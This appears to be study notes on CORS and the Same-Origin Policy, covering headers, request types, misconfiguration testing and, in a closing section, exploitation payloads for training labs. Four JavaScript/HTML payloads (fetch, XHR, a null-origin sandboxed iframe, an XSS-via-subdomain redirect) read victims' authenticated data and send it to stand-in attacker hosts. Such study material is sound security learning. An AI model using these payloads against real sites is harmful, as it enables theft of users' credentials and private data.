CORS and Same-Origin Policy (SOP)
Definitions
Same-Origin Policy (SOP) restricts how a webpage can interact with resources from a different origin. Origin is defined by protocol + domain + port. All three must match.
- A script on
http://test.comcannot access resources fromhttps://test.com(different protocol) - SOP is the default security posture — CORS exists to allow controlled exceptions to it
Cross-Origin Resource Sharing (CORS) is a protocol that allows servers to indicate which origins are permitted to access their resources. It relaxes SOP with explicit server-side permissions via HTTP headers.
Key point: The server does not block requests based on CORS — it processes the request and includes CORS headers in the response. The browser enforces the policy by granting or denying JavaScript access to the response.
CORS Headers
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin |
Which domains can access resources (single origin, list, or *) |
Access-Control-Allow-Methods |
Allowed HTTP methods |
Access-Control-Allow-Headers |
Allowed custom headers |
Access-Control-Max-Age |
How long preflight results can be cached |
Access-Control-Allow-Credentials |
Whether browser exposes response when credentials (cookies, auth) are sent |
Important: When Access-Control-Allow-Credentials: true, Access-Control-Allow-Origin cannot be * — it must be an explicit origin.
Request Types
Simple Requests
Treated similarly to same-origin requests. A request is “simple” if:
- Uses GET, HEAD, or POST
- POST Content-Type is
application/x-www-form-urlencoded,multipart/form-data, ortext/plain - No custom headers beyond CORS-safe headers
Cookies and auth data are included if the site has previously set credentials, even without Access-Control-Allow-Credentials: true.
Preflight Requests
Triggered when the request does NOT qualify as simple. Browser sends an OPTIONS request first:
- Includes
Access-Control-Request-MethodandAccess-Control-Request-Headers - Server must respond with appropriate CORS headers
- If preflight passes, browser sends the actual request with credentials if
Access-Control-Allow-Credentials: true
Testing for CORS Misconfigurations
- Add/modify the
Origin:header to an arbitrary value — check if it’s reflected inAccess-Control-Allow-Origin - Set
Origin: null— check if the server responds withAccess-Control-Allow-Origin: null - Check the response:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true
Common Misconfigurations
- Reflects any Origin value (trust all origins)
- Trusts origin with similar name:
hackersnormal-website.com,normal-website.com.evil-user.net - Trusts
nullorigin - Trusts an origin that uses HTTP instead of HTTPS
- Trusts a subdomain that is vulnerable to XSS
Most CORS attacks require:
Access-Control-Allow-Credentials: true
Without it, the browser won’t send cookies, and the attacker only gets unauthenticated content.
Exploitation Payloads
Basic CORS Data Exfiltration
// Working fetch-based approach
fetch('https://TARGET.web-security-academy.net/accountDetails', {
method: 'GET',
credentials: 'include',
headers: {
'Origin': 'https://EXPLOIT-SERVER.exploit-server.net/'
}
})
.then(response => response.json())
.then(data => {
const apiKey = data.apikey;
fetch(`https://EXPLOIT-SERVER.exploit-server.net/log?apiKey=${apiKey}`);
});
XHR-Based Exfiltration
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key=' + this.responseText;
};
Null Origin (via sandboxed iframe)
When server trusts null origin, use a sandboxed iframe to generate null origin requests:
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var req = new XMLHttpRequest();
var url = 'https://TARGET.web-security-academy.net';
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE){
fetch('https://EXPLOIT-SERVER/log?key=' + req.responseText);
}
};
req.open('GET', url + '/accountDetails', true);
req.withCredentials = true;
req.send(null);
</script>"></iframe>
CORS via Trusted Subdomain with XSS
If a trusted subdomain is vulnerable to XSS, use it to make the CORS request:
document.location = "http://subdomain.vulnerable-website.com/?param=<script>var req = new XMLHttpRequest();var url = 'https://vulnerable-website.com';req.onreadystatechange = function(){if (req.readyState == XMLHttpRequest.DONE){fetch('https://ATTACKER/log?key=' + req.responseText);}};req.open('GET', url + '/accountDetails', true);req.withCredentials = true;req.send(null);</script>"
Further Reading
- https://medium.com/@mahakjaiswani888/navigating-cors-exploring-with-portswigger-labs-c13b37310cf3